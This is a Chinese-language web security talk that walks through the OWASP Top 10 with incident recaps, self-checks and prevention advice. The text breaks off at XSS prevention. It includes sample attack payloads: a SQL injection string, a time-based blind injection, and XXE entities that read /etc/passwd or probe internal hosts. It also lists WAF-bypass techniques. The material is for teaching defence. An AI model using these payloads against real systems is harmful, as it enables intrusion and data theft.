    2018 网络安全事故频发,从数据泄露、信息窃取,到 DDOS 攻击、勒索病毒,不仅威胁的总数在增加,威胁态势也变得更加多样化,攻击者在不断开发新的攻击途径的同时,也尽力在攻击过程中掩盖其踪迹,使网络安全防护变得越发棘手。

    未来是万物互联的时代,唯有把握住网络信息安全,才能避免被降维打击。本次分享,葡萄城技术团队将从 WebApp 安全出发,带你了解更多意想不到的安全防护措施与黑客攻击手段,助你提高网络安全意识,最终学会如何提高风险意识,避免遭受网络安全攻击。

    本场 Chat 核心内容:

    • 第一节:WebApp 安全风险和防护(PPT Page 1~7)
      • WebApp 安全现状分析
      • 2018 网络安全事故
      • 黑客如何攻击系统
      • OWASP Top 10 简介
    • 第二节:WebApp 风险讲解(上)(PPT Page 8~10)
      • 注入
      • 失效的身份认证
      • 敏感数据泄露
    • 第三节:WebApp 风险讲解(下)(PPT Page 11~18)
      • XML 外部实体
      • 其他常见的风险
      • 我们能做什么

    2018 网络安全事故频发,从数据泄露、信息窃取,到 DDOS 攻击、勒索病毒,不仅威胁的总数在增加,威胁态势也变得更加多样化,攻击者在不断开发新的攻击途径的同时,也尽力在攻击过程中掩盖其踪迹,使网络安全防护变得越发棘手。

    未来是万物互联的时代,唯有把握住网络信息安全,才能避免被降维打击。本场 Chat,我们特邀 Carl 作为分享嘉宾,于葡萄城技术公开课上,以 WebApp 安全防护为出发点,带你了解更多意想不到的安全防护措施与黑客攻击手段,助你提高网络安全意识,最终学会如何规避风险隐患,避免遭受网络安全攻击。

    下面开始展开正文。

    开阔眼界 – 提升安全意识

    提升网络安全意识对项目团队中的每一个角色、每一个流程都至关重要。同时,也只有具备了网络安全意识,才愿意为数据安全投入更多的时间和精力。下面,我将为您展示部分 2018 年发生的网络安全事故,这些事故造成的损失,也许远远超出你的想象。

    2018 网络安全事故回顾

    Facebook 数据泄露事件: 2018年9月,Facebook 因安全系统漏洞而遭受黑客攻击,导致约 5000 万用户信息泄露。

    上市公司数据堂,涉嫌侵犯数百亿条公民个人信息: 大数据行业知名企业数据堂在短短 8 个月的时间内,日均泄露公民个人信息 1.3 亿余条,累计传输数据压缩后约为 4000GB。

    圆通 10 亿快递信息泄露: 10 亿条用户数据遭公开售卖,这些数据包括寄(收)件人姓名、电话、地址等隐私信息。

    万豪酒店 5 亿用户开房信息泄露: 万豪酒店客房预订数据库遭黑客入侵,约5亿名客户的信息可能被泄露。

    更多数据泄露事件

    1. 国泰航空数据泄露,940万乘客受影响
    2. MongoDB 数据库被入侵, 1100 万份邮件记录遭泄露
    3. SHEIN 数据泄露影响 642 万用户
    4. GovPayNet凭证系统存在漏洞,1400万交易记录被曝光
    5. 小米有品平台泄露个人隐私 约2000万用户数据遭泄露

    勒索病毒事件

    1. 美国亚特兰大市政府受到勒索软件攻击
    2. 美国巴尔的摩市遭遇勒索软件攻击,导致 911 紧急调度服务的计算机辅助调度(CAD)功能掉线
    3. 台积电勒索病毒事件,约造成 17.6 亿元的营收损失,股票市值下跌78亿
    4. 很多个人电脑和中小网站都曾遭受攻击

    DDoS 攻击

    1. 平昌冬奥会开幕式服务器遭到身份不明的黑客入侵
    2. GitHu b遭 1.35T 级流量攻击

    年度重大漏洞盘点

    1. CPU 数据缓存机制漏洞
    2. iOS 平台 WebView 组件漏洞(UIWebView/ WKWebView)跨域访问漏洞(CNNVD-201801-515)
    3. Oracle WebLogic Server WLS 核心组件远程代码执行漏洞
    4. 微信支付 SDKXX E漏洞
    5. Apache Struts2 S2-057 安全漏洞

    知己知彼 – 黑客如何攻击系统

    一名黑客攻击网站的典型步骤,主要分为以下 5 步:

    1. 信息收集和漏洞扫描
    2. 漏洞利用
    3. 上传木马
    4. 获取服务器的控制权
    5. 清理痕迹

    黑客不是手动测试系统漏洞的,而是有很多强大的工具可以自动化完成。黑客不是利用系统中的一个漏洞,而是要利用一系列,不同层次的漏洞。黑客经常批量攻击一系列网站,选取其中漏洞较多,较好利用的重点突破

    十大安全风险(OWASP Top 10)

    不安全的软件正在破坏着我们的金融、医疗、国防、能源和其他重要的基础设施。随着我们的软件变得愈加庞大、复杂且相互关联,实现应用程序安全的难度也呈指数级增长。而现代软件开发过程的飞速发展,使得快速、准确地识别软件安全风险变得愈发的重要,OWASP 组织也因此诞生。

    OWASP,即开放式 Web 应用程序安全项目(Open Web Application Security Project),作为一个开源的、非盈利的全球性安全组织,它提供了有关计算机和互联网应用程序的公正、实际、有成本效益的信息,其目的是协助个人、企业和机构来发现并使用可信赖的软件。

    OWASP Top 10 是由 OWASP 组织公布,最具权威性的“10 项最严重的 Web 应用程序安全风险预警”,其就安全问题从威胁性和脆弱性两方面进行可能性分析,并结合技术和商业影响的分析结果,输出公认的、最严重的十类 Web 应用安全风险排名。OWASP Top 10 旨在针对上述风险,提出解决方案,帮助 IT 公司和开发团队规范应用程序开发流程和测试流程,提高 Web 产品的安全性。

    OWASP 敦促所有公司在其组织内采用 OWASP Top 10 文档,并确保其 Web 应用程序最大限度地降低这些风险,采用 OWASP Top 10 可能是将企业内的软件开发文化转变为生成安全代码文化最行之有效的一步。

    OWASP Top 10 包括

    1. 注入
    2. 失效的身份认证
    3. 敏感信息泄露
    4. XML 外部实体(XXE)
    5. 失效的访问控制
    6. 安全配置错误
    7. 跨站脚本(XSS)
    8. 不安全的反序列化
    9. 使用含有已知漏洞的组件
    10. 不足的日志记录和监控

    OWASP Top 10 应用安全风险详解

    《OWASP Top 10》的目的在于为广大企业确定一组最严重的风险项目。对于其中的每一项风险,我们将使用基于 OWASP 风险等级排序的评级方案,为您提供关于漏洞普遍性、可检测性、业务/技术影响等信息。

    enter image description here

    注入

    将不受信任的数据作为命令或查询的一部分发送到解析器时,会产生诸如 SQL 注入、NoSQL 注入、OS 注入和 LDAP 注入等注入缺陷。攻击者的恶意数据可以诱使解析器在没有适当授权的情况下执行非预期命令或访问数据。

    enter image description here

    可利用性:容易几乎任何数据源都能成为注入载体,包括环境变量、所有类型的用户、参数、外部和内部Web服务。当攻击者可以向解释器发送恶意数据时,注入漏洞便可产生。

    普遍性:常见注入漏洞十分普遍,尤其是在遗留代码中。注入漏洞通常能在 SQL、LDAP、XPath 或是 NoSQL 查询语句、OS 命令、XML 解析器、SMTP 包头、表达式语句及 ORM 查询语句中找到。

    可检测性:易注入漏洞很容易通过代码审查发现。扫描器和模糊测试工具可以帮助攻击者找到这些漏洞。

    技术影响:严重注入能导致数据丢失、破坏或泄露给无授权方、缺乏可审计性或是拒绝服务。注入有时甚至能导致主机被完全接管。

    业务影响:未知您的应用和数据需要受到保护,以避免对业务造成影响。

    自查:您的应用程序脆弱吗?

    当您的应用有如下情况时,是脆弱且易受到攻击的:

    1. 用户提供的数据没有经过应用程序的验证、过滤或净化。
    2. 动态查询语句或非参数化的调用,在没有上下文感知转义的情况下,被用于解释器。
    3. 在 ORM 搜索参数中使用了恶意数据,这样搜索就获得包含敏感或未授权的数据。
    4. 恶意数据直接被使用或连接,诸如 SQL 语句或命令在动态查询语句、命令或存储过程中包含结构和恶意数据。

    一些常见的注入,包括:SQL、OS 命令、ORM、LDAP 和表达式语言(EL)或 OGNL 注入。

    所有编译器的原理都是相似的,因此 Code Review 是目前为止最有效的检测应用程序注入风险的办法之一。当然,您也可以对代码中所有参数、字段、头、cookie、JSON 和 XML 数据输入进行 DAST 扫描,并将 SAST 和 DAST 工具添加到 CI/CD 进程中,以便在项目部署前对现有代码或新代码进行注入检测。

    如何防止注入?

    防止注入漏洞需要将数据与命令语句、查询语句分隔开来:

    1. 最佳选择是使用安全的 API,完全避免使用解释器,或提供参数化界面的 API,或迁移到 ORM 或实体框架中。(注意:当参数化时,如果 PL/SQL 或 T-SQL 将查询和数据连接在一起,或者执行带有立即执行或 exec() 的恶意数据,存储过程仍然可以引入 SQL 注入漏洞。)
    2. 使用正确或符合“白名单”规范的输入验证方法,同样有助于防止注入攻击,但这很可能引起用户的吐槽,因为许多应用程序在输入中需要特殊字符,如文本区域或移动应用程序的 API。
    3. 对于所有动态查询,可以使用该解释器的特定转义语法转义特殊字符。OWASP 的 Java Encoder 和类似的库提供了这样的转义例程。(注意:在 SQL 结构中,表名、列名等无法转义,因此用户提供的结构往往是非常危险的。)
    4. 在查询中使用 LIMIT 和其他 SQL 控件,防止在 SQL 注入时引发大量数据泄露。

    攻击案例场景

    场景#1:应用程序在脆弱的 SQL 语句结构中使用不可信数据:String query = "SELECT * FROM accounts WHEREcustID='" + request.getParameter("id") + "'“;

    场景#2:框架应用的盲目信任,也可能导致查询语句的漏洞。(例如:Hibernate查询语言(HQL)):Query HQLQuery = session.createQuery("FROM accountsWHERE custID='" + request.getParameter("id") + "'");

    在这两个案例中,攻击者在浏览器中将“id”参数的值修改成: ’or’1’=’1。例如:http://example.com/app/accountView?id=' or '1'='1这样查询语句的意义就变成了从 accounts 表中返回所有记录。

    SQL 盲注

    SQL 盲注,就是在 SQL 语句注入后且成功执行时,执行的结果不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。

    盲注一般分为三类:

    一、基于布尔的盲注

    基于布尔的盲注通常使用逻辑判断推测获取的数据,通过给定条件,服务器返回真或假。使用二分法或者正则表达式等方法即可缩小判断的范围。

    二、基于时间的盲注

    主要是利用延时或者执行的时间来判断。

    If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 //if 判断语句,条件为假,执行 sleep

    因为延时会受到网络环境的影响,因此这种方法不是很可靠。

    三、基于报错的盲注

    构造 payload 让信息通过错误提示显示。

    count(*) 和 rand(0) 和 group by 报错

    rand(0) 是伪随机数列,01101100。产生报错的原因是因为 rand(0) 并不是一个定值,相当于一个变量。使用 group by 时,会建立一张虚拟表,字段为 key 和 count(*)。执行插入操作,第一次返回 0,但虚拟表中没有这个项,数据库会认为需要插入这个项,但数据库并没有记录下来,因此,会再次执行 rand(0) 试图获取,但此时获取的是第二个数。依次类推,当数据库查询发现 0 这个项不存在,执行插入操作时, rand(0) 返回值为 1,但是 1 已经存在,这时插入已经存在的项就会报错。

    WAF 绕过

    之所以要谈到 WAF 的常见特征,是为了更好的了解 WAF 的运行机制,以便增加绕过 WAF 的机会。总体来说,WAF(Web Application Firewall)具有以下四个方面的功能:

    1. 审计设备:用来截获所有 HTTP 数据或者仅仅满足某些规则的会话;
    2. 访问控制设备:用来控制对 Web 应用的访问,既包括主动安全模式也包括被动安全模式;
    3. 架构/网络设计工具:当运行在反向代理模式,他们被用来分配职能,集中控制,虚拟基础结构等;
    4. WEB 应用加固工具:这些功能增强被保护 Web 应用的安全性,它不仅能够屏蔽 WEB 应用固有弱点,而且能够保护 WEB 应用编程错误导致的安全隐患。

    WAF过滤机制:

    1. 异常检测协议:拒绝不符合 HTTP 标准的请求;
    2. 增强的输入验证:代理和服务端的验证,而不只是限于客户端验证;
    3. 白名单&黑名单:白名单适用于稳定的 Web 应用,黑名单适合处理已知问题;
    4. 基于规则和基于异常的保护:基于规则更多的依赖黑名单机制,基于异常更为灵活;
    5. 状态管理:重点进行会话保护;
    6. 其他:Cookies 保护、抗入侵规避技术、响应监视和信息泄露保护等。

    绕过 WAF 的方法:

    从目前能找到的资料来看,绕过WAF的技术主要分为9类,包含:

    1. 大小写混合(最简单的绕过技术,用于只针对小写或大写的关键字匹配技术)
    2. 替换关键字(这种方式大小写转化无法绕过,而且正则表达式会替换或删除 select、union 这些关键字,如果只匹配一次就很容易绕过)
    3. 使用编码(URL 编码、Unicode 编码)
    4. 使用注释(普通注释、内联注释)
    5. 等价函数与命令(有些函数或命令因其关键字被检测出来而无法使用,但是在很多情况下可以使用与之等价或类似的代码替代其使用)
    6. 特殊符号(特殊符号有特殊的含义和用法,涉及信息量比前面提到的几种都要多)
    7. HTTP 参数控制(这里 HTTP 参数控制除了对查询语句的参数进行篡改,还包括 HTTP 方法、HTTP 头的控制)
    8. 缓冲区溢出(缓冲区溢出用于对付 WAF,有不少 WAF 是 C 语言写的,而 C 语言自身没有缓冲区保护机制,因此如果 WAF 在处理测试向量时超出了其缓冲区长度,就会引发 bug 从而实现绕过)
    9. 整合绕过(整合的意思是结合使用前面谈到的各种绕过技术,单一的技术可能无法绕过过滤机制,但是多种技术的配合使用成功的可能性就会增加不少。除非每一种技术单独都无法使用,否则它们能产生比自身大得多的能量。)

    身份认证失效

    通过错误地使用 Web 应用程序的身份认证和会话管理功能,攻击者能够破译密码、密钥和会话令牌,或者利用其它开发缺陷来暂时性或永久性地冒充管理员的身份。

    enter image description here

    可利用性:容易攻击者可以轻松获取数百万条有效用户名和密码组合,包括证书、默认的账户管理列表、自动的暴力破解和字典攻击工具,以及高级的 GPU 破解工具。会话管理可以很容易地被利用,尤其是没有过期的会话密匙。

    普遍性:常见大多数管理系统的设计和实现,都存在身份认证失效的问题。会话管理是身份验证和访问控制的基础,并且存在于整个应用程序的进程中。

    可检测性:一般攻击者通常使用指南手册来检测失效的身份验证。除此之外,也会关注密码转储、字典攻击,或者在类似钓鱼、社会工程攻击后,发现失效的身份认证。

    技术影响:严重攻击者只需访问几个账户,或者一个管理员账户就可以破坏我们的系统。根据应用程序业务场景的不同,可能会导致洗钱、欺诈、用户身份盗窃、泄露法律保护的敏感信息等严重违法行为。

    自查:您的应用程序脆弱吗?

    确认用户身份、身份验证和会话管理非常重要,这些措施可用于将恶意的、未经身份验证的攻击者与授权用户进行分离。如果您的应用程序存在如下问题,那么可能存在身份验证失效漏洞:

    1. 允许凭证填充,攻击者可利用此获得有效的用户名和密码。
    2. 允许暴力破解或其他自动攻击。
    3. 使用默认、弱安全性的密码,例如“Password1”或“admin/admin”。
    4. 使用弱安全性或失效的验证凭证。
    5. 使用明文、加密或弱散列密码。
    6. 缺少或失效的多因素身份验证。
    7. 暴露 URL 中的会话 ID(例如 URL 重写)。
    8. 在成功登录后不会更新会话 ID。
    9. 不正确地使会话 ID 失效。当用户不活跃的时候,用户会话或认证令牌(特别是单点登录(SSO)令牌)没有正确注销或失效。

    如何防止?

    1. 在尽可能的情况下,使用多因素身份验证,以防止凭证填充、暴力破解和被盗凭据再利用攻击。
    2. 不要使用已发送或部署默认的凭证,特别是管理员用户。
    3. 定期执行弱密码检查。
    4. 将密码长度、复杂性和循环策略与 NIST-800-63 B 的指导方针或其他现代的密码策略保持一致。
    5. 确认注册、凭据恢复和 API 路径,确保对所有输出结果使用相同的消息,用以抵御账户枚举攻击。
    6. 限制或逐渐延迟失败的登录尝试。记录所有失败信息并在凭据填充、暴力破解或其他攻击被检测时提醒系统管理员。
    7. 使用服务器端内置的会话管理器,在登录后生成高度复杂且不存在于 URL 的随机会话 ID。这样当用户登出、闲置、绝对超时后使其失效。

    攻击案例场景

    场景#1:最常见的攻击方式——凭证填充,使用已知密码的列表。如果应用程序不限制身份验证尝试次数,则可以将应用程序用作密码 oracle, 以确定凭证是否有效。

    场景#2:大多数身份验证攻击都是由于密码作为唯一的认证因素。

    场景#3:应用会话超时设置不正确。用户使用公共计算机访问应用程序时,直接关闭浏览器选项卡就离开,而不是选择“注销”。

    凭据填充(撞库)

    撞库,是黑客通过收集互联网已泄露的用户和密码信息,生成对应的字典表,尝试批量登陆其他网站后,得到一系列可以登录的用户。很多用户在不同网站使用的是相同的账号和密码,因此黑客可以通过获取用户在 A 网站的账户从而尝试登录 B 网站,这就是撞库攻击。

    撞库可以通过数据库安全防护技术解决,数据库安全技术包括:数据库漏扫、数据库加密、数据库防火墙、数据脱敏、数据库安全审计系统。

    撞库并不神秘,事实上,它正被广泛的使用。举例而言,根据 Shape Security 的报告,“攻击者们一旦锁定了一个财富 100 强的 B2C(企业对消费者)网站,就会在一个星期内使用遍布世界各地的代理服务器,对其进行超过五百万次登录尝试。” 雪上加霜的是,被窃取的凭证也并不难找。黑客们会为了找乐子或寻求扬名立万的机会把凭证散播到网上。当黑客们在凭证黑市(比如 Cracking-dot-org、 Crackingking-dot-org 以及 Crackingseal-dot-io)做生意时,这些名声会派上大用场。

    多因素验证

    多因素验证(Multi-factor authentication,缩写为 MFA),又译多因子认证、多因素认证,是一种计算机访问控制的方法,用户要通过两种以上的认证机制之后,才能得到授权,使用计算机资源。例如,用户要输入 PIN 码,插入银行卡,最后再经指纹比对,通过这三种认证方式,才能获得授权。这种认证方式可以提高安全性。

    敏感数据泄露

    许多 Web 应用程序和 API 都无法正确保护敏感数据,例如:财务数据、医疗数据和PII数据。攻击者可以通过窃取或修改未加密的数据来实施信用卡诈骗、身份盗窃或其他犯罪行为。未加密的敏感数据容易受到破坏,因此,我们需要对敏感数据加密,这些数据包括:传输过程中的数据、存储的数据以及浏览器的交互数据。

    enter image description here

    可利用性:一般攻击者并非直接攻击,而是在传输过程中、从客户端(例如:浏览器)窃取密钥、发起中间人攻击,或从服务器端直接窃取明文数据。

    普遍性:广泛这是最常见,也是最具影响力的攻击手段。在数据加密的过程中,由于不安全的密钥生成、管理以及使用弱加密算法、弱协议和弱密码(未加盐的哈希算法或弱哈希算法),导致数据泄露事件频发。

    可检测性:一般在服务器端,检测传输过程中的数据弱点很容易,但检测存储数据的弱点却异常困难。

    技术影响:严重敏感数据泄露事件造成的影响是非常严重的,因为这些数据通常包含了很多个人信息(PII),例如:医疗记录、认证凭证、个人隐私、信用卡信息等。这些信息受到相关法律和条例的保护,例如:欧盟《通用数据保护条例》(GDPR)和地方隐私保护法律。

    自查:您的应用程序脆弱吗?

    首先你需要确认哪些数据(包含:传输过程中的数据、存储数据)是敏感数据。例如:密码、信用卡卡号、医疗记录、个人信息等,这些数据应该被加密,请Review:

    1. 在数据传输过程中是否使用明文传输?这和传输协议相关,如:HTTP、SMTP 和 FTP。(注意:外网流量十分危险,请验证所有的内部通信,如:负载平衡器、Web 服务器或后端系统之间的通信。)
    2. 当数据被长期存储时,无论存储在哪里,它们是否都被加密或备份?
    3. 无论默认条件还是源代码中,是否还在使用任何旧的、脆弱的加密算法?
    4. 是否使用默认加密密钥,生成或重复使用脆弱的加密密钥,或者缺少恰当的密钥管理或密钥回转?
    5. 是否强制加密敏感数据,例如:用户代理(如:浏览器)指令,传输协议是否被加密?
    6. 用户代理(如:应用程序、邮件客户端)是否未验证服务器端证书的有效性?

    如何防止?

    对一些需要加密的敏感数据,应该做到以下几点:

    1. 对系统处理、存储或传输的数据分类,并根据分类分别进行访问控制。
    2. 熟悉与敏感数据保护相关的法律和条例,并根据每项法规的要求保护敏感数据。
    3. 对于没必要存放,但重要的敏感数据,应当尽快清除,或者通过 PCI DSS 标记或拦截,只有未存储的数据才不会被窃取。
    4. 确保已存储的所有敏感数据都被加密。
    5. 确保使用了最新、强大的标准算法或密码、参数、协议和密钥,并且密钥管理到位。
    6. 确保传输过程中的数据被加密,如:使用 TLS。
    7. 确保数据加密被强制执行,如:使用 HTTP 严格安全传输协议(HSTS )。
    8. 禁止缓存对包含敏感数据的响应。
    9. 确保使用密码专用算法存储密码,如:Argon2 、scrypt 、bcrypt 或PBKDF2 。
    10. 将工作因素(延迟因素)设置在可接受的范围。
    11. 单独验证每个安全配置项的有效性。

    攻击案例场景

    场景 #1:假设一个应用程序使用自动化的数据加密系统加密了信用卡信息,并存储在数据库中,当数据被检索时自动解密。这会导致 SQL 注入漏洞能够以明文形式获得所有信用卡卡号。

    场景 #2:一个网站上没有使用或强制使用 TLS,或者仅使用弱加密算法。攻击者通过监测网络流量(如:不安全的无线网络),将网络连接从 HTTPS 降级到 HTTP,就可以截取请求并窃取用户会话 cookie。然后,攻击者可以复制用户 cookie 并成功劫持经过认证的用户会话、访问或修改用户个人信息。除此之外,攻击者还可以更改所有传输过程中的数据,如:转款的接收者。

    场景 #3:密码数据库使用未加盐的哈希算法或弱哈希算法去存储密码,此时,一个文件上传漏洞可使黑客能够获取密码文件,而这些未加盐的哈希密码通过彩虹表暴力破解方式即可快速破解。

    各国应对措施

    日本个人信息保护法

    近年来,因信息、通信技术的发展,企业需要收集大量个人信息,用以提供准确且迅速的服务。个人信息的利用,无论是对现今的商业活动,还是对国民生活都变得不可或缺。但是,另一方面,由于处理个人信息状况不当,导致个人权利和利益受到损害的可能性也在增大。在日本,包含企业和政府等团体的组织内部,泄露的个人信息数量累积超过了1000万件。于是,鉴于规范处理个人信息,明确国家及地方公共团体的职责,确保个人信息有效利用等目的,日本于2005年4月1日起颁布《个人信息保护法》。

    欧盟《通用数据保护条例》(GDPR)

    欧盟《通用数据保护条例》(General Data Protection Regulation,简称GDPR),其前身是欧盟在1995年制定的《计算机数据保护法》,该法明确规定:

    1. 对违法企业的罚金最高可达2000万欧元(约合1.5亿元人民币)或其全球营业额的4%,以高者为准。
    2. 网站经营者必须事先向客户说明会自动记录客户的搜索和购物记录,并获得用户的同意,否则按“未告知记录用户行为”作违法处理。
    3. 企业不能再使用模糊、难以理解的语言,或冗长的隐私政策来从用户处获取数据使用许可。
    4. 明文规定了用户的“被遗忘权”(right to be forgotten),即用户个人可以要求责任方删除关于自己的数据记录。

    设计安全账号系统的正确姿势

    数据安全防范的方法简单来说,当数据从用户键盘敲出的那一刻,到服务器后台存储过程中,都需保持正确的姿势。如:

    1. 用正确的姿势保存密码a) 低级错误:明文保存密码b) 低级错误:可逆加密密码c) 错误方法:md5 加密密码d) 正确方法:加盐 hash 保存密码

    2. 用正确的姿势传输数据a) 验证服务端的合法性b) 确保通信的安全

    3. 用正确的姿势加密敏感信息

    4. 用正确的姿势对数据进行备份和监控

    XML 外部实体(XXE)

    许多较早的或配置错误的 XML 处理器评估了 XML 文件中的外部实体引用。攻击者可以利用外部实体窃取使用 URI 文件处理器的内部文件和共享文件、监听内部扫描端口、执行远程代码和实施拒绝服务攻击。 enter image description here

    可利用性:一般如果攻击者可以上传 XML 文档或在 XML 文档中添加恶意内容(如,易受攻击的代码、依赖项或集成),他们就能够攻击含有缺陷的 XML 处理器。

    普遍性:常见一般来说,许多旧的 XML 处理器能够对外部实体、XML 进程中被引用和评估的 URI 进行规范。SAST 工具可以通过检查依赖项和安全配置来发现 XXE 缺陷。DAST 工具需要额外的手动步骤来检测和利用 XXE 缺陷。

    技术影响:严重XXE 缺陷可用于提取数据、执行远程服务器请求、扫描内部系统、执行拒绝服务攻击和其他攻击。

    自查:您的应用程序脆弱吗?

    应用程序,特别是基于 XML 的 Web 服务,可能在以下方面容易受到攻击:

    1. 您的应用程序直接接受 XML 文件或者接受 XML 文件上传,特别是来自不受信任源的文件,或者将不受信任的数据插入 XML 文件,并提交给 XML 处理器解析。
    2. 在应用程序或基于 Web 服务的 SOAP 中,所有 XML 处理器都启用了文档类型定义(DTDs)。
    3. 为了实现安全性或单点登录(SSO),您的应用程序应该使用了 SAML进行身份认证,而假设 SAML 使用了XML进行身份确认,那么您的应用程序就容易受到 XXE 攻击。
    4. 如果您的应用程序使用第 1.2 版之前的 SOAP,并将XML实体传递到SOAP 框架,那么它可能受到 XXE 攻击。
    5. 存在 XXE 缺陷的应用程序更容易受到拒绝服务攻击,如: Billion Laughs 攻击。

    如何防止?

    培训开发人员的安全意识,是识别和减少 XXE 的关键,除此之外,还需要:

    1. 尽可能地使用简单的数据格式(如:JSON),避免对敏感数据进行序列化。
    2. 及时修复或更新应用程序或底层操作系统使用的 XML 处理器和库。同时,通过依赖项检测,将 SOAP 更新到 1.2 版本或更高版本。
    3. 参考《OWASP Cheat Sheet ‘XXE Prevention‘》,在应用程序的所有XML解析器中禁用XML外部实体和DTD进程。
    4. 在服务器端实施(“白名单”)输入验证、过滤和清理, 以防止在XML文档、标题或节点中出现恶意数据。
    5. 验证XML或XSL文件上传功能是否使用了XSD验证或其他类似的验证。
    6. 尽管在许多集成环境中,手动代码审查是大型、复杂应用程序的最佳选择,但是SAST 工具可以检测源代码中的XXE漏洞。 如果无法实现这些控制,请考虑使用虚拟修复程序、API安全网关或Web应用程序防火墙( WAF )来检测、监控和防止XXE攻击。

    攻击案例场景

    目前,已经有大量XXE缺陷被发现并公开,这些缺陷包括上传可被接受的恶意XML文件、嵌入式设备的 XXE缺陷及深嵌套的依赖项等。

    场景 #1:攻击者尝试从服务端提取数据:

    <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <foo>&xxe;</foo>

    场景 #2:攻击者通过将上面的实体行更改为以下内容来探测服务器的专用网络:

    <!ENTITY xxe SYSTEM "https://192.168.1.1/private" >]>

    场景 #3:攻击者通过恶意文件执行拒绝服务攻击:

    <!ENTITY xxe SYSTEM "file:///dev/random" >]>

    XML基本定义

    XML是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。 enter image description here图片来自网络

    XML由3个部分构成,分别是:文档类型定义(Document Type Definition,DTD),即XML的布局语言;可扩展的样式语言(Extensible Style Language,XSL),即XML的样式表语言;以及可扩展链接语言(Extensible Link Language,XLL)。

    XML 中的实体分为以下五种:字符实体,命名实体,外部实体,参数实体,内部实体,普通实体和参数实体都分为内部实体和外部实体两种,外部实体定义需要加上 SYSTEM关键字,其内容是URL所指向的外部文件实际的内容。如果不加SYSTEM关键字,则为内部实体,表示实体指代内容为字符串。

    XML外部实体

    XML外部实体表示外部文件的内容,用 SYSTEM 关键词表示:

    <!ENTITY test SYSTEM "1.xml">

    有些XML文档包含system标识符定义的“实体”,这些文档会在DOCTYPE头部标签中呈现。这些定义的“实体”能够访问本地或者远程的内容。比如,下面的XML文档示例就包含了XML“实体”。

    <?xml version="1.0" encoding="utf-8"?><!DOCTYPE Anything [<!ENTITY entityex SYSTEM "file:///etc/passwd">]><abc>&entityex;</abc>

    在上面的代码中, XML外部实体 ‘entityex’ 被赋予的值为:file://etc/passwd。在解析XML文档的过程中,实体’entityex’的值会被替换为URI(file://etc/passwd)内容值(也就是passwd文件的内容)。 关键字’SYSTEM’会告诉XML解析器,’entityex’实体的值将从其后的URI中读取,并把读取的内容替换entityex出现的地方。假如 SYSTEM 后面的内容可以被用户控制,那么用户就可以随意替换为其他内容,从而读取服务器本地文件(file:///etc/passwd)或者远程文件(http://www.baidu.com/abc.txt)。

    XXE 注入定义

    XXE注入(即XML External Entity, XML外部实体注入)。通过 XML 实体,”SYSTEM”关键词导致 XML 解析器可以从本地文件或者远程 URI 中读取数据。攻击者可以通过 XML 实体传递自己构造的恶意值,从而引导处理程序解析它。当引用外部实体时,攻击者通过构造恶意内容,可读取任意文件、执行系统命令、探测内网端口、攻击内网网站等行为。

    XXE 漏洞原理

    最常见的 XXE 漏洞类型分为以下三种:

    1. 基础的 XXE 注入— 外部实体注入本地D TD
    2. 基于盲注的 XXE 注入—XML 解析器在响应中不显示任何错误
    3. 基于错误的 XXE 注入—成功解析之后,XML 解析器始终显示 SAME 响应。(即“您的消息已被接收”),因此,我们可能希望解析器将文件的内容“打印”到错误响应中。

    既然 XML 可以从外部读取 DTD 文件,那我们就自然地想到了如果将路径换成另一个文件的路径,那么服务器在解析这个 XML 的时候就会把那个文件的内容赋值给 SYSTEM 前面的根元素中,只要我们在 XML 中让前面的根元素的内容显示出来,就可以读取那个文件的内容了。这就造成了一个任意文件读取的漏洞。

    假设我们指向的是一个内网主机的端口呢?是否会给出错误信息,我们是不是可以从错误信息上来判断内网主机这个端口是否开放,这就造成了一个内部端口被探测的问题。一般来说,服务器解析 XML 有两种方式,一种是一次性将整个 XML 加载进内存中,进行解析;另一种是一部分的、“流式”地加载、解析。如果我们递归地调用 XML 定义,一次性调用巨量的定义,那么服务器的内存就会被消耗完,造成了拒绝服务攻击。

    失效的访问控制

    未对通过身份验证的用户实施恰当的访问控制。攻击者可以利用这些缺陷,访问未经授权的功能或数据,例如:访问其他用户的账户、查看敏感文件、修改其他用户的数据、更改访问权限等。

    安全配置错误

    安全配置错误是最常见的安全问题,这通常是由于不安全的默认配置、不完整的临时配置、开源云存储、错误的 HTTP 标头配置以及包含敏感信息的详细错误信息所造成的。因此,我们不仅需要对所有的操作系统、框架、库和应用程序进行安全配置,而且必须及时修补和升级它们。

    跨站脚本(XSS)

    当应用程序的新网页中包含不受信任的、未经验证或转义的数据时,或者使用可以创建 HTML 或 JavaScript 的浏览器 API 更新现有网页时,就会出现 XSS 缺陷。XSS 让攻击者能够在受害者的浏览器中执行脚本,并劫持用户会话、破坏网站或将用户重定向到恶意站点。 enter image description here

    可利用性:容易自动化工具能够检测并利用所有的三种 XSS 形式,并且存放在便于攻击者利用的漏洞中。

    普遍性:广泛XSS 是 OWASP Top10 中第二普遍的安全问题,存在于近三分之二的应用程序中。

    可检测性:容易自动化工具能发现 XSS 问题,尤其是一些成熟的技术框架中,如:PHP、J2EE 或 JSP、ASP.NET 等。

    技术影响:中等XSS 对于反射和 DOM 的影响是中等的,而对于存储的 XSS,XSS 的影响更为严重,譬如在受到攻击的浏览器上执行远程代码,如:窃取凭证和会话或传递恶意软件等。

    自查:您的应用程序脆弱吗?

    针对用户的浏览器,存在三种 XSS 类型:

    1. 反射式 XSS:应用程序或 API 包含未经验证和未经转义的用户输入,并作为 HTML 输出的一部分,受到此类攻击可以让攻击者在受害者的浏览器中执行任意的 HTML 和 JavaScript。
    2. 存储式 XSS:你的应用或者 API 将未净化的用户输入进行存储,并在其他用户或者管理员的页面展示出来。存储型 XSS 一般被认为是高危或严重的风险。
    3. 基于 DOM 的 XSS:会动态的将攻击者操控的内容加入到页面的 JavaScript 框架、单页面程序或 API 中。为避免此类攻击,你应该禁止将攻击者可控的数据发送给不安全的 JavaScript API。典型的 XSS 攻击造成的结果包含:盗取 Session、账户、绕过 MFA、DIV替换、对用户浏览器的攻击(例如:恶意软件下载、键盘记录)以及其他用户侧的攻击。

    如何防止?

    防止 XSS,需要将不可信的数据与动态的浏览器内容区分开:

